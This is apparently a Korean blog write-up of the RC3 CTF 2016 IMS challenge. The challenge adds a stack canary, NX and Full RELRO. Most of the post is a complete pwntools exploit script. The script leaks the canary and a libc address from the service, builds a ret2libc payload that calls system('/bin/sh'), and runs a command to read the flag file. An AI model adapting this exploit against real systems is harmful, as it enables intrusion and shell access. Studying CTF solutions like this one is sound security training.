다 똑같은데 보호기법이 추가됐다.
까나리랑 NX, Full RELRO 가 들어갔고 ASLR 은 없음.
메모리 릭으로 까나리값 읽어서 공격시에 복원해 주고, libc 주소 얻어서 system("/bin/sh") 로 공격.
libcdb.com 으로 다 해결하려고 했어서 나중엔 GOT 테이블까지 다 계산해서 릭했는데
libcdb 에서 맞는 so 를 못 찾아줌..; 시간 겁나게 쓰고는 Not found 가 뜰때의 빡;침이란..
libc database 로 그냥 libc_start_main 주소 얻어서 바로 공격했더니 로컬에서는 성공.
근데 이상하게 실서버에서 플래그가 안 떨어져서.. 페이로드 마지막 부분을 이래저래 수정해서 해결.
from pwn import *
IP = 'localhost'
PORT = 40645
IP = 'ims.ctf.rc3.club'
PORT = 8888
conn = remote(IP,PORT)
conn.recvuntil('Choose:')
payload = ""
payload += "3\n5\n" # canary
conn.send(payload)
conn.recvuntil('Product ID:')
recvdata =conn.recvline()
canary = recvdata.split(', ')[0]
print "%x"%int(canary)
#payload = "3\n7\n" # libc+243
conn.recvuntil('Choose:')
conn.send('3\n')
conn.recvuntil('view:')
conn.send('7\n') # for main addr / libc+243
k = conn.recvuntil('Code: ').split(':')[1].split(',')[0].strip()
#print 'stack %x'%int(k) # stack
#print "%x"% int(p32(int(k), sign='signed')[::-1].encode('hex'),0x10)
stackOn7 = int(p32(int(k), sign='signed')[::-1].encode('hex'),0x10)-156+4
print "stackOn7 %x"%stackOn7
#print '%d %x'%(i, p32(int(k), sign=unsigned))
libc_243 = int(conn.recv(8)[0:4][::-1].encode('hex'),0x10)
libc = libc_243-243
print "libc main : %x"%libc
mysystem = libc+157968
mybinsh = libc+1338956
print "mysystem %x"%mysystem
print "mybinsh %x"%mybinsh
system = libc+156816
binsh = libc+1327276
print "mysystem %x"%system
print "mybinsh %x"%binsh
payload += "1\n1\n1\n"
payload += "1\n2\n2\n"
payload += "1\n3\n3\n"
payload += "1\n4\n4\n"
payload += "1\n5\n5\n"
payload += "1\n%d\n6\n"%int(canary)
payload += "1\n%d\n0B0B0B0B0B0B0B0\n"%1094795585 #AAAA
'''##### on my pc
payload += "1\n%d\n"%1111638594 # BBBB
payload += p32(system)
payload += p32(binsh)
payload += p32(binsh)
payload += "\n"
'''#####
payload += "1\n%d\n"%binsh
payload += p32(system)
payload += p32(binsh)
payload += p32(binsh)
payload +="\n"
payload += "4\n"
conn.send(payload)
conn.send('cat /home/*/flag.txt\n')
conn.interactive()
'Conference > Write up' 카테고리의 다른 글
defcon 2017 - floater (0) | 2017.04.30 |
---|---|
codegate - hunting (0) | 2017.02.16 |
IMS-easy - RC3 CTF 2016 150pt (0) | 2016.11.21 |
defcon24 - feedme (0) | 2016.06.08 |
2014 DEFCON - sftp (0) | 2014.06.08 |